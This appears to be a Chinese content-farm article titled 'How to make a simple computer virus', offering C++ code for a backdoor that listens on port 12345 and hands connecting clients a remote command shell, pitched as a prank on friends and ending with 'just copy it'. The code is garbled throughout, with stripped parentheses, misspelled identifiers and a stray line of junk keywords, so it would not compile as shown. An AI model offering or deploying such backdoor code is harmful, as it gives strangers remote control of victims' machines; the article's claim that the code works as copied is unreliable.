怎樣製作一個簡單的電腦病毒

  如何才能做出一個簡單的電腦病毒呢!和朋友們開開小玩笑呢!下面由小編給你做出詳細的製作簡單的電腦病毒介紹!希望對你有幫助!

  製作簡單的電腦病毒介紹:

  這是個簡單的後門cmdshell

  #i nclude

  int mainint argc,char*argv[]

  {

  return 0;

  }//這個大家都知道了然後新增標頭檔案C m d S h e l l.h跟Socket.h

  #i nclude//WINDOW程式基本上都要包含這個檔案的了!!!/cy

  #i nclude "Cmdshell.h"

  #i nclude"SocketEX.h"

  int mainint argz,char* argv[]

  {

  CSocketEX client,server;

  //

  server.Create12345,NULL//

  //

  server.Listen://

  while1//

  #i nclude

  {

  server.Acceptclient;//

  SOCKET whi =client.Detach;

  //

  CreateThread0,0.L P T H R E A D _ S T A R T _R O U T I N ETalk Withvoid*whi,0,MULL'

  //

  }

  }

  void TalkWithClietvoid cs*

  {

  SOCKET wsc=SOCKETcs;//

  c.Attachwsc;//

  char *cmd;//

  c.Send"Welcome TO CmdShell\r\n",strlen"Welcome TO CmdShell\r\n";

  //

  while1;//

  {

  c.Send"#",stelen"#";

  //

  cmd=recvcmdc;

  //

  /******得到cmd shell*************/

  if strcmpcmd ,"shell"==0

  {

  CCmdShell cmdshell

  //

  cmdshell.LetUsGoc.m_hSocket;

  //

  continue;

  }

  //

  /**************斷開連線*************/

  if strcmpcmd,"quit"==0

  {break;}

  //

  ifc.m.h_Socket==INVALD_SOCKET

  {break;}

  //

  ifwsc==INVALID_SOCKET

  {break}

  } wsc jasd break void continue if wcs char while int email if !//sdh

  return

  //

  closesocketwsc;

  }

  char*recvcmdCSocketEx&c//

  {

  char*cmd;//

  charbuf[32];//

  char chr[1];//

  int i=0;

  ZeroMemorybut,32;//

  whilei<32;//

  {

  if!c.Receivechr,1c.Close;//

  buf[i]=chr[0];//

  ifchr[0]==oxa||chr[0]==oxa//

  {

  buf[i]=0;

  break;

  }

  i++;

  }

  cmd=but;//

  return cmd;//

  }

  以上是c++程式碼,複製即可,希望對你有幫助!